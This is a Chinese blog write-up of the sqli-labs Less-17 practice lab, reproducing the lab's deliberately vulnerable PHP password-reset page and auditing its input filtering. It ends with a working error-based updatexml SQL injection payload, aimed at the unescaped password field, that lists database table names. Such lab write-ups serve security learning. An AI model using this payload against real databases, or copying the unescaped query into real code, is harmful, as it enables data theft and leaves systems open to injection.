sql-labs:less-17

输错密码，就来这一套
image
进行代码审计


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-17 Update Query- Error based - String</title>
</head>

<body bgcolor="#000000">

<div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"><font color="#FFFF00"> [PASSWORD RESET] </br></font>&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br></div>

<div  align="center" style="margin:20px 0px 0px 520px;border:20px; background-color:#0CF; text-align:center; width:400px; height:150px;">

<div style="padding-top:10px; font-size:15px;">
 

<!--Form to post the contents -->
<form action="" name="form1" method="post">

  <div style="margin-top:15px; height:30px;">User Name &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: &nbsp;&nbsp;&nbsp;&nbsp;
    <input type="text"  name="uname" value=""/>  </div>
  
  <div> New Password : &nbsp; &nbsp;
    <input type="text" name="passwd" value=""/></div></br>
    <div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div>
</form>
</div>
</div>
<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">
<font size="6" color="#FFFF00">



<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);  

$passwd=$_POST['passwd'];


//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);


// connectivity 
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
	if($row)
	{
  		//echo '<font color= "#0000ff">';	
		$row1 = $row['username'];  	
		//echo 'Your Login name:'. $row1;
		$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
		mysql_query($update);
  		echo "<br>";
	
	
	
		if (mysql_error())
		{
			echo '<font color= "#FFFF00" font size = 3 >';
			print_r(mysql_error());
			echo "</br></br>";
			echo "</font>";
		}
		else
		{
			echo '<font color= "#FFFF00" font size = 3 >';
			//echo " You password has been successfully updated " ;		
			echo "<br>";
			echo "</font>";
		}
	
		echo '<img src="../images/flag1.jpg"   />';	
		//echo 'Your Password:' .$row['password'];
  		echo "</font>";
	


  	}
	else  
	{
		echo '<font size="4.5" color="#FFFF00">';
		//echo "Bug off you Silly Dumb hacker";
		echo "</br>";
		echo '<img src="../images/slap1.jpg"   />';
	
		echo "</font>";  
	}
}

?>


</font>
</div>
</body>
</html>

下面有几个关键的代码需要认识：

function check_input($value) //过滤用户名的输入
	{
	if(!empty($value)) 
		{
		// truncation (see comments)
		$value = substr($value,0,15); //截取前面15个字符串
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc()) //查看魔术符号是否开启，开启就返回 1 即magic_quotes_gpc=On
			{
			$value = stripslashes($value);  //删除由addslashes()添加的反斜杠
			}

		// Quote if not a number
		if (!ctype_digit($value)) //判断是不是数字，是数字就返回true
			{
			$value = "'" . mysql_real_escape_string($value) . "'"; //转义字符串
			}
		
	else
		{
		$value = intval($value); //转换为整形
		}
	return $value;
	}

总之，经过一系列的过滤，想要在username上面下功夫是不可能的了，只能通过password进行注入

@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
	if($row)
	{
  		//echo '<font color= "#0000ff">';	
		$row1 = $row['username'];  	
		//echo 'Your Login name:'. $row1;
		$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
		mysql_query($update);
  		echo "<br>";

这就是查询的源代码，可以通过passwd下文章
这由于是修改密码的模块，直接输入admin即可成功修改，但是我们要查询数据库等信息，就需要使用xml报错注入：
下面是爆表的例子，payload不过多阐述了

' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()
),0x7e),1)##
posted @ 2021-09-04 10:39  Zeker62  阅读(36)  评论(0)  编辑  收藏  举报